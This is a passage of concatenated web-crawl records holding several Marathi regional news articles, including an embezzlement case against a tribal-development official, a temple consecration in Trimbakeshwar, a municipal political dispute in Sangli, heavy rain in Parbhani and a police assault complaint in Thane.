शाळा सुरू केली आहे. ही शाळा फक्त रविवारी भरते. या शाळेत 9 विद्यार्थी संसारातील जोडीदार आहेत. नुकताच या शाळेत व्हॅलेंटाईन डे साजरा करण्यात आला. मुरबाडमधील शाळेची लिम्का बुकमध्ये नोंद करण्यात आल्याची माहिती लिम्का बुकचे संपादक विशाल बनरेज यांनी सन्मान पत्र पाठवून कळवली. लिम्का बुकात नोंद झाल्यामुळे या शाळेच्या शिरपेचात तुरा खोवला गेला आहे. शिवाय एका उपक्रमाचा गौरवही झाला आहे\n‘मार्च 2016 मध्ये शिवजयंती निमित्त शिवचरित्र पारायणाचा कार्यक्रम ठेवण्यात आला होता. तेव्हा गावातील एक आजीबाई मला म्हणाल्या की, जर आम्हाला लिहिता वाचता येत असते तर आम्ही देखील या कार्यक्रमात भाग घेतला असता. त्या आजीबाईंचे बोलणे आणि त्यांची इच्छा माझ्या मनाला भावली आणि मी ठरवले की आपण गावातील अशिक्षित वयोवृद्धांसाठी एक शाळा सुरू करायची. त्यानुसार 8 मार्च 2016 रोजी जागतिक महिला दिनाचे औचित्य साधून मी फांगणे या गावात आजीबाईची शाळा सुरू केली. या शाळेत शीतल मोरे या शिक्षिका म्हणून काम पाहतात.’\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00367.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/Kailas-Mote-crime-in-the-case-of-the-abduction-case/", "date_download": "2018-09-25T17:24:07Z", "digest": "sha1:GJV6HJ2RD3ZIIMCI7KRBIYC2GMOOLXS6", "length": 8237, "nlines": 40, "source_domain": "www.pudhari.news", "title": " अपहार प्रकरणी कैलास मोतेंवर गुन्हा | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › अपहार प्रकरणी कैलास मोतेंवर गुन्हा\nअपहार प्रकरणी कैलास मोतेंवर गुन्हा\nएकात्मिक आदिवासी प्रकल्प अधिकारी म्हणून कार्यरत असताना कैलास परशराम मोते यांनी आकाशदीप सोसायटीच्या संगनमताने कोट्यवधी रुपयांचा अपहार करून शासनाची फसवणूक केल्याप्रकरणी मुंबई नाका पोलीस ठाण्यात अपहार, फसवणुकीचा गुन्हा दाखल करण्यात आला आहे. प्रमोद नामदेव पाटील (36, रा. काठे गल्ली) यांनी फिर्याद दाखल केली आहे.\nराज्याच्या मृद जलसंधारण व पाणलोट क्षेत्र व्यवस्थापन संचालक पदावर कैलास मोते हे सध्या कार्यरत आहेत. 2005-2008 या काळात एकात्मिक आदिवासी प्रकल्प कार्यालयात प्रकल्प संचालक म्हणून मोते यांची नेमणूक होती. या कार्यकाळात आदिवासी विकास विभागात 2005-06 मध्ये आकाशदीप सोसायटीच्या संगनमताने लघु उपसा जलसिंचन योजनेचा 16 लाख रुपयांचा गैरव्यवहार केल्याचा ठपका मोते यांच्यावर आहे. त्याचप्रमाणे 2005-2006 या कालावधीत पाईप खरेदी करण्याच्या नावाखाली 92 लाभार्थ्यांचे दोन हजार 576 पाइपचे 13 लाख 65 हजार 280 रुपयांचा अपहार केला. त्यानंतर 2007-08 मध्ये 505 लाभार्थ्यांच्या 15 हजार पाइपांचे 74 लाख 99 हजार 500 रुपये अपहार केल्याचे उघडकीस आले आहे.\nयाप्रमाणे मोते यांनी एकूण एक कोटी चार लाख 64 हजार 780 रुपयांचा अपहार करीत, शासनाची फसवणूक केल्याप्रकरणी गुन्हा दाखल करण्यात आला आहे. दरम्यान, आदिवासी विकास विभागातील घोटाळ्याची व्याप्ती संपूर्ण राज्यभरात असून, यात 200 हून अधिक अधिकारी अडकलेले आहेत. गुन्हे दाखल करू नये म्हणून संबंधितांनी न्यायालयाची दारेही ठोठावली होती. आदिवासी विकास विभागात तर मोते यांच्या बाजूने कर्मचार्‍यांनी कामबंद आंदोलनही पुकारले होते. अखेर आता मोते यांच्याविरोधात गुन्हा दाखल झाला आहे.\nगावित यांच्या गैरव्यवहाराशी संबंध\nतत्कालीन आदिवासी विकासमंत्री डॉ. विजयकुमार गावित यांच्या कार्यकाळात आदिवासी विकास विभागातील हे प्रकरण आहे. 2014 साली मुख्यमंत्र्यांकडे तक्रार झाल्यानंतर यात चौकशी करण्यात आली. निवृत्त न्यायाधीश एम. जी. गायकवाड यांच्या समितीने चौकशी केल्यानंतर डॉ. गावित यांच्यासह आदिवासी विकास विभागाच्या अधिकार्‍यांवर ठपका ठेवण्यात आला होता. याचा तपास आता आर्थिक गुन्हे शाखा करीत आहेत.\nमोते यांनी भूषविलेली पदे\nशहादा येथे उपविभागीय कृषी अधिकारी म्हणून सेवा बजावल्यानंतर उपसंचालक पदावर त्यांनी काम केले. त्यानंतर ते आदिवासी प्रकल्प अधिकारी म्हणून कार्यरत होते. नाशिक कृषी अधीक्षक अधिकारी म्हणून त्यांनी काम पाहिले. या पदावरून कृषी सहसंचालक पुणे येथे पदोन्नतीने रुजू झाले. अवघ्या वर्षभरातच विभागीय कृषी सहसंचालक म्हणून ते नाशिकला परत आले. सहसंचालक पदावरून ते राज्याच्या मृद संधारण व पाणलोट क्षेत्र व्यवस्थापन संचालक म्हणून पदोन्नतीने मुंबई येथे कार्यरत आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00367.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/Mother-Annapurna-Lakshchadi-Mahayagna-Sohala/", "date_download": "2018-09-25T17:36:22Z", "digest": "sha1:2MNRYRSLVHLY4VSTMFGL5OQSFQTVFL6Q", "length": 8004, "nlines": 36, "source_domain": "www.pudhari.news", "title": " मॉ अन्नपूर्णा प्राणप्रतिष्ठा सोहळ्यास प्रारंभ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › मॉ अन्नपूर्णा प्राणप्रतिष्ठा सोहळ्यास प्रारंभ\nमॉ अन्नपूर्णा प्राणप्रतिष्ठा सोहळ्यास प्रारंभ\nत्र्यंबकेश्‍वर येथील नीलगिरी पर्वतावर साकारत असलेल्या माँ अन्नपूर्णाच्या भव्य मंदिराचा प्राणप्रतिष्ठा व लक्षचंडी महायज्ञ सोहळ्यास रविवारी (दि.18) कलश शोभा यात्रेद्वारा प्रारंभ झाला. सकाळी 9 वाजता नीलपर्वतापासून सुरू झालेली यात्रा त्र्यंबकेश्‍वरमधील मुख्य भागातून सवाद्य मिरवणूक कुशावर्तापर्यंत गेली.\nयात्रेमध्ये सिद्धपीठ श्री अन्नपूर्णा आश्रम चॅरिटेबल ट्रस्टचे महामंडलेश्‍वर स्वामी विश्‍वेश्‍वरानंद गिरी महाराज, महामंडलेश्‍वर स्वामी सच्चिदानंद गिरी, लक्षचंडी आचार्य कल्याणनंद आचार्य कल्याणदत्त शास्त्री, प्राणप्रतिष्ठा आचार्य बाळासाहेब दीक्षित यांच्यासह देशभरातून आलेले भाविक, यज्ञात सहभागी 100 यजमान जोडपी व त्र्यंबकेश्‍वरमधील नागरिक हजारो संख्येने सहभागी झाले होते.\nअत्यंत भक्तिमय वातावरणात निघालेल्या या कलश यात्रेने अवघी त्र्यंबकरनगरी भक्तिरसात न्हाऊन निघाली. प्रायश्‍चित नांदी श्राद्ध, गणेश पूजन, कलश पूजन, मातृका पूजन व नंतर यज्ञ मंडप प्रवेश हे विधी पार पडले. सोमवारी (दि.19) सकाळी 8 वाजेपासून अग्नि प्रज्वलित करून लक्षचंडी महायज्ञाची सुरुवात होईल. हा महायज्ञ सोहळा 28 फेब्रुवारीपर्यंत चालणार असून, दि.21 फेब्रुवारी रोजी माँ अन्नपूर्णा प्राणप्रतिष्ठा सोहळा होणार आहे. ज्योतिर्लिंग मंदिराचा कलश व माँ अन्नपूर्णाचे दर्शन असा अद्भूत योग मिळणार्‍या नील पर्वतावर हे मंदिर 3 एकर एवढ्या विस्तीर्ण परिसरात उभारण्यात आले आहे. शिवलिंग व अन्नपूर्णा मंदिर एकाच ठिकाणी असलेले त्र्यंबकेश्‍वर हे देशातील दुसरेच ठिकाण आहे.\nवास्तूकलेचा अद्वितीय नमूना असलेले हे मंदिर पूर्णत: संगमरवरा मध्ये साकारले आहे. माँ अन्नपूर्णासोबतच माँ सरस्वती व माँ महाकाली यांच्याही मूर्ती असून, मंदिर परिसरातच भैरवनाथाच्या संगमरवरी मूर्तीची प्रतिष्ठापणा होणार आहे. अन्नपूर्णा देवीची मूर्ती 1931 कि. ग्रॅ. सरस्वती देवीची मूर्ती 750 कि.ग्रॅ.व महाकालीची मूर्ती 470 कि. ग्रॅ. वजनाच्या असून, त्या पंचधातूमध्ये साकारल्या आहेत. बुधवारी (दि. 21) होणार्‍या प्राणप्रतिष्ठा सोहळ्यास लोकसभा अध्यक्ष सुमित्रा महाजन, मुख्यमंत्री देवेंद्र फडणवीस, पालकमंत्री गिरीश महाजन, सार्वजनिक उपक्रममंत्री एकनाथ शिंदे व जलसंधारणमंत्री राम शिंदे यांची प्रमुख उपस्थिती राहणार आहेत. भाविकांनी कार्यक्रमाचा व महाप्रसादाचा लाभ घ्यावा, असे आवाहन श्री अन्नपूर्णा आश्रम चॅरिटेबल ट्रस्टच्या माँ अन्नपूर्णा प्राणप्रतिष्ठा व लक्षचंडी महायज्ञ समितीच्या पदाधिकार्‍यांनी केले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00367.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/BJP-Goa-tour-refuses-from-the-alliance/", "date_download": "2018-09-25T16:57:11Z", "digest": "sha1:PU4MOM4QABQZT463N2YNBNKOSA2SVMHB", "length": 9364, "nlines": 43, "source_domain": "www.pudhari.news", "title": " भाजपच्या गोवा सहलीचा आघाडीकडून निषेध | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › भाजपच्या गोवा सहलीचा आघाडीकडून निषेध\nभाजपच्या गोवा सहलीचा आघाडीकडून निषेध\nमाजी पंतप्रधान भारतरत्न अटलबिहारी वाजपेयी यांचे निधन झाले, त्याच दिवशी भाजपच्या नगरसेवकांची गोवा सहल आयोजित करण्यात आली. यावरून सोमवारी महासभेदरम्यान सभागृहात निषेधनाट्य रंगले. महापौर, उपमहापौर निवडीसाठी भाजपचे नगरसेवक थेट गोव्यातून आले. काँग्रेस-राष्ट्रवादी आघाडीच्या नगरसेवकांनी त्यांचे निषेधाचे फलक झळकावून उपरोधात्मक स्वागत केले.\nनिवडसभेच्या प्रारंभीच वाजपेयी यांना श्रद्धांजलीवरून आघाडी-भाजपमध्ये मतभेद झाले. काँग्रेसने ‘प्रथम श्रद्धांजली, नंतर निवड’ अशी भूमिका घेत भाजपची कोंडी करण्याचा प्रयत्न केला. भाजपचे नगरसेवक आणि प्रशासनाला त्यावर नमते घ्यावे लागले. वाजपेयी यांचे दि.16 ऑगस्ट रोजी निधन झाले. त्याच दिवशी भाजपचे नगरसेवक गोवा सहलीला गेले. यावरून भाजपवर काँग्रेस-राष्ट्रवादीसह विविध स्तरातून टीका होत आहे. परंतु भाजपकडून मात्र सदस्य विश्रांतीसाठी गेल्याचे सांगण्यात आले होते.\nआज निवडीसाठी भाजपचे नगरसेवक सहलीवरून थेट सभागृहात आले. यावेळी काँग्रेस - राष्ट्रवादी आघाडीच्या नगरसेवकांनी सभागृहात भाजप नगरसेवकांच्या विरोधात फलक फडकावले. ‘अटलजींच्या निधनाने संपूर्ण भारत दु:खसागरात... गोवा सहलीतून परतलेल्या भाजप नगरसेवकांचे सहर्ष स्वागत’ व ‘अटलजींच्या दुःखद निधनानंतरही गोवा सहल यशस्वी पूर्ण केल्याबद्दल भाजप नगरसवेकांचे अभिनंदन’ अशा घोषणांचे कागदी फलक दाखवत सभागृहात भाजपचा निषेध केला.\nवाजपेयींना श्रद्धांजली वाहण्यावरून वाद\nसभा सुरू होताच काँग्रेस, राष्ट्रवादीच्या नगरसेवकांनी आधी वाजपेयी यांना ‘श्रध्दांजली, नंतर निवड’ असा पवित्रा घेतला. सभेपूर्वी वाजपेयी यांना श्रध्दांजली वहावी अशी मागणी काँग्रेसचे मंगेश चव्हाण यांनी केली. यावरून गोंधळ झाला. भाजपचे जगन्नाथ ठोकळे यांनी मात्र निवड झाल्यानंतर श्रध्दांजली वहावी अशी मागणी केली. यावरून वाद जुंपला.\nअखेर निवडणूक निर्णय अधिकारी जिल्हापरिषदेचे मुख्य कार्यकारी अभिजित राऊत यांनी दोन मिनिटे श्रद्धांजली वाहून निवड सभा घेऊ, असा तोडगा काढला. मात्र कोणाचेही भाषण होणार नाही, असे स्पष्ट केले. भाजपनेही नमते घेतले. त्यामुळे श्रद्धांजली वाहून निवडी पार पाडण्यात आल्या.\nमहापौर, उपमहापौर निवडीनंतर भाजपच्यावतीने सभागृहात वाजपेयी यांचे प्रतिमापूजन करून श्रद्धांजली वाहिली. खासदार संजय पाटील, आमदार सुधीर गाडगीळ, सुरेश खाडे, माजी आमदार दिनकर पाटील, महापौर संगीता खोत, उपमहापौर धीरज सूर्यवंशी, युवराज बावडेकर, शेखर इनामदार, मकरंद देशपांडे, दीपक शिंदे, शरद नलावडे यांच्यासह सर्व नगरसेवक उपस्थित होते.\nजो जसा करतो, तसे त्याचे विचार - गाडगीळ\nकाँग्रेस-राष्ट्रवादीनेभाजप सदस्यांच्या गोवा सहलीवरून टीकेची झोड उठविली आहे. याबाबत विचारले असता आमदार गाडगीळ म्हणाले, जो जसा विचार करतो तेच त्यांना सुचते. तसेच त्यांचे विचार, संस्कृती असते. दिनकर पाटील म्हणाले, नगरसेवक हे विश्रांतीसाठी गेले होते, मौजमजेसाठी नव्हे. मात्र वीस वर्षे काँग्रेस आघाडी सत्तेत असताना सत्तेची गणित मांडताना त्यांच्या काळात तेच होत होते. त्यांनी आमच्यावर टीका करताना आपल्या कर्तृत्वाचा विचार करावा.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00367.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/uncategorized/page/30", "date_download": "2018-09-25T17:37:38Z", "digest": "sha1:45T7JTEON7CC42O4JFADF5XVQAW2IMGG", "length": 9443, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "Top News Archives - Page 30 of 538 - तरुण भारत | तरुण भारत", "raw_content": "\nहॉटेल प्रकरणात मेजर गोगई दोषी ; कोर्टाकडून कारवाईचे आदेश\nऑनलाईन टीम / नवी दिल्ली : श्रीनगरमधील एका हॉटेलबाहेर तरुणीसोबत असताना अटक करण्यात आलेल्या मेजर लितुल गोगोई यांच्याविरोधात शिस्तभंगाची कारवाई केली जाणार आहे. कर्तव्यावर असताना गोगोई त्यांना नेमून देण्यात आलेल्या हद्दीच्या बाहेर होते. त्यामुळे न्यायालयाने त्यांना दोषी ठरवले आहे. याशिवाय मेजर गोगोई यांनी त्यांना देण्यात आलेल्या सूचनांविरोधात जाऊन स्थानिकांनी संपर्क वाढवण्याचा प्रयत्न केल्याचेही न्यायालयाने म्हटले आहे. याबद्दलही न्यायालयाने त्यांना ...Full Article\nदलितांच्या फक्त दोन पिढय़ांनाच आरक्षण मिळावे : भाजप खासदार\nऑनलाईन टीम / मुंबई : दलितांच्या फक्त दोन पिढ्यांनाच नोकरी आणि शिक्षणात आरक्षण दिले पाहिजे. त्यानंतर त्यांना आरक्षण देऊ नये, असे वक्तव्य भाजपाचे ज्येष्ठ नेते आणि खासदार सी पी ...Full Article\nनिढोरीत आज वारकरी मेळावा\nवार्ताहर / मुरगूड सद्गुरु बापू महाराज – तळाशीकर वारकरी शिक्षण संस्था आणि रामनवमी सप्ताह मंडळ निढोरी यांच्या संयुक्त विद्यमाने निढोरी ता. कागल येथील विनायक साधक आश्रम येथे आज सोमवार ...Full Article\nरक्षाबंधनानिमित्त बहिणींना स्वच्छतागृहांची भेट\nजिल्हा पंचायतीच्यावतीने अनोखा उपक्रम, जिल्हय़ात 300 हून अधिक वैयक्तिक स्वच्छतागृहांची भेट बेळगाव / प्रतिनिधी रविवारी रक्षाबंधनाचा सण साजरा करण्यात आला. यावेळी भावाकडून बहिणीस रोख रक्कम आणि विविध भेटवस्तूंचे आदानप्रदान ...Full Article\nदेशात आरोग्य साक्षरता येणे गरजेचे ; डॉ. अविनाश भोंडवे यांचे मत\nऑनलाईन टीम / पुणे : आरोग्य हा विषय दैनंदिन जीवनात दुर्लक्षित केला जातो. एखादा आजार खूप वाढला तरच माणसे डॉक्टकरकडे जात असत. परंतु आता आरोग्याकडे बघण्याचा प्रत्येकाचा दृष्टीकोन बदलत ...Full Article\nनिवडणूक प्रक्रियेत सोशल मीडियाच्या हस्तक्षेपाला परवानगी नाही : रविशंकर प्रसाद\nऑनलाईन टीम / नवी दिल्ली : सोशल मीडियाच्या माध्यमातून माहितीचा दुरुपयोग करीत निवडणूक प्रक्रियेत हस्तक्षेप करण्याचे प्रकार समोर येत आहेत. याची भारताने गंभीर दखल घेतली असून अशा सोशल मीडियाच्या ...Full Article\nआर. के. स्टुडिओ होणार इतिहासजमा\nऑनलाईन टीम / मुंबई : हिंदी चित्रपटसृष्टीतील अनेक क्लासिक चित्रपटांचा साक्षीदार राहिलेला आर. के. स्टुडिओच्या आता केवळ स्मृती उरणार. कपूर भावंडांनी अनेक अजरामर चित्रपटाची निर्मिती करणाऱ्या या स्टुडिओला विकण्याचा निर्णय घेतला ...Full Article\nवसुंधरा राजेंच्या ताफ्यावर दगडफेक ;भाजपचा काँग्रेसवर आरोप\nऑनलाईन टीम / जोधपूर : राजस्थानच्या मुख्यमंत्री वसुंधरा राजे यांच्या ताफ्यावर काही आंदोलकांनी दगडफेक केली आहे. या हल्ल्यात वसुंधरा राजे थोडक्यात बचावल्या आहेत. वसुंधरा राजे जोधपूर जिल्ह्यातून जात असताना हा ...Full Article\nचकमकीनंतर चार दहशतवाद्यांना अटक\nऑनलाईन टीम / श्रीनगर : जम्मू-काश्मीरच्या कुपवाडा येथे भारतीय लष्कराला मोठं यश मिळालं असून येथे चार दहशतवाद्यांना अटक करण्यात आल्याचं वृत्त आहे. वृत्तसंस्था एएनआयने दिलेल्या माहितीनुसार सुरक्षारक्षकांनी आज पहाटे ...Full Article\nघटस्फोटाचा अर्ज प्रलंबित असल्यास दुसरं लग्न मान्य : सुप्रीम कोर्ट\nऑनलाईन टीम / नवी दिल्ली : घटस्फोटाच्या खटल्यात दोन्ही पक्षकारांमध्ये खटला मागे घेण्यासंबंधी तडजोड झाली असेल तर घटस्फोटाची याचिका कोर्टात प्रलंबित असली तरी त्यातील एका व्यक्तीला दुसरे लग्न करता ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00367.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Marathwada/Heavy-rains/", "date_download": "2018-09-25T16:56:44Z", "digest": "sha1:7RLAHH7SOV77BFVLXKWVIPAEOZGSOWOS", "length": 6493, "nlines": 38, "source_domain": "www.pudhari.news", "title": " पावसाची जोरदार हजेरी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Marathwada › पावसाची जोरदार हजेरी\nजिल्ह्यात सोमवारी (दि. 4 ) मध्यरात्रीनंतर परभणी शहरासह जिल्ह्यातील अनेक भागांत पूर्वमोसमी पावसाने जोरदार हजेरी लावली. विजांच्या कडकडाटांसह झालेल्या या पावसामुळे वीजपुरवठा काही काळ खंडित झाला होता. शहरातील शंकर नगर भागात मारोती मंदिरावर वीज कोसळून बांधकामाचे नुकसान झाले. जिल्ह्यातील शेतकर्‍यांना खरीप हंगामासाठी पावसाची प्रतीक्षा लागलेली आहे. मोसमी पाऊस अजून दाखल झालेला नसला तरी पूर्व मोसमी पावसाची जिल्ह्यात 3-4 दिवसांपासून आगमन झाले आहे. रविवारी मध्यरात्री तसेच सोमवारी मध्यरात्री जिल्ह्यात जोरदार पाऊस झाला. जिल्हाधिकारी कार्यालयाच्या यंत्रणेकडून दररोज सकाळी 8 वाजेपर्यंतच्या पावसाची नोंद घेण्यात येते. त्यानुसार मंगळवारी सकाळी 8 वाजेपर्यंत जिल्ह्यात एकूण सरासरी 11.77 मि. मी. पावसाची नोंद झाली आहे. परभणी शहरात 27 मि. मी. तर तालुक्यात सरासरी 19.50 मि. मी., पालम तालुक्यात सरासरी 7 मि. मी., पूर्णा तालुक्यात 8.60 मि. मी., गंगाखेड तालुक्यात 6.50 मि. मी., सोनपेठ तालुक्यात 23 मि. मी., सेलू 14 मि. मी., पाथरी तालुक्यात 5 मि. मी., जिंतूर तालुक्यात 17.67 मि. मी. आणि मानवत तालुक्यात 4. 67 मि. मी. पावसाची नोंद झाली आहे.\nकोणत्याही प्रकारची जीवितहानी झाली नाही\nसोमवारी मध्यरात्री पावसाला सुरुवात झाली. दरम्यान मंगळवारी पहाटे विजांच्या कडकडाटांसह झालेल्या पावसाने शहरातील शंकर नगरातील मारोती मंदिरावर वीज कोसळल्याने भूकंप झाल्याप्रमाणे हादरा बसला.\nमंदिराचे बांधकाम पक्के असल्याने ते पडले नाही; परंतु कळसाखालील सिंमेटचा भाग तुटून तो परिसरातील घरांवर जाऊन पडला. दरम्यान या घटनेत कोणत्याही प्रकारची जीवितहानी झाली नाही, अशी माहिती परिसरातील नागरिकांनी दिली.\nपावसाळ्याला सुरुवात झाल्याने नागरिकांनी विजेपासून संरक्षण मिळविण्याकरिता जिल्हा आपत्ती व्यवस्थापनाने जाहीर केलेले उपाय अमलात आणावेत, असे आवाहन जिल्हा आपत्ती व्यवस्थापन अधिकारी पवन खांडके यांनी केले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00368.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Navi-Mumbai-police-policeman-beaten-up/", "date_download": "2018-09-25T16:53:18Z", "digest": "sha1:GFSVADTXST2KVA6Q4EQKT563H3WOT27D", "length": 6123, "nlines": 36, "source_domain": "www.pudhari.news", "title": " नवीमुंबईतील पोलिसाची महिला पोलिसाला मारहाण | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › नवीमुंबईतील पोलिसाची महिला पोलिसाला मारहाण\nनवीमुंबईतील पोलिसाची महिला पोलिसाला मारहाण\nनवी मुंबई येथून ठाणे न्यायालयात सुनावणीसाठी कैद्यांना घेवून आलेल्या पोलीस शिपायाने सहकारी महिला पोलीस कार्मचारीला मारहाण करून तिचा विनयभंग केल्याची घटना 17 एप्रिल रोजी दुपारी ठाणे न्यायालयाच्या गेटसमोर घडली. याप्रकरणी ठाणे नगर पोलीस ठाण्यात किरण कांबळे या नवी मुंबई पोलीस दलातील पोलीस शिपायावर गुन्हा दाखल करण्यात आला असून अद्याप त्याला अटक केलेली नाही.\nदरम्यान, यापूर्वीही महिला पोलिसांशी गैरवर्तणूक केल्याचे अनेक प्रकार ठाणे पोलीस आयुक्तालयात घडले असतानाही आरोपी पोलीस मोकाट असल्याने संताप व्यक्त होत आहे. गुन्ह्यातील एका आरोपीला घेऊन नवी मुंबई पोलीस दलाचे पथक मंगळवारी ठाणे सत्र न्यायालयात आले होते. तेव्हा वाहनात बेड्या घालून बसवलेल्या आरोपीने पिण्यासाठी पाणी मागितल्याने आरोपीच्या हातातील बेडी सैल करून पाणी देण्याची विनंती महिला पोलीस शिपाईने सोबत असलेल्या सहकारी पोलीस शिपाई किरण कांबळे यांना केली. याचाच राग आल्याने शिपाई कांबळे यांनी महिला पोलीसाला अश्‍लील शिवीगाळ करून मारहाण करीत वाहनातून खाली खेचले.\nतसेच महिला शिपाईच्या मनास लज्जा उत्पन्न होईल अशा तर्‍हेने मारहाण केल्याचे तक्रारीत नमूद केले आहे. घडलेल्या या प्रकारची माहिती पीडित महिला शिपायाने आपल्या वरिष्ठ अधिकार्‍यांना दिल्यानंतर याप्रकरणी,ठाणे नगर पोलीस ठाण्यात विनयभंगाचा गुन्हा दाखल केला आहे. दरम्यान,एका पोलिसानेच सहकारी महिला पोलिसाला अश्‍लील शिवीगाळ व मारहाण केली असतानाही ठाणे नगर पोलीस तपासाच्या नावाखाली दिरंगाई करीत असून अद्याप कांबळे यांना अटकदेखील केलेली नाही. यासंदर्भात, वरिष्ठ माहिती देण्यास टाळाटाळ करीत आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार 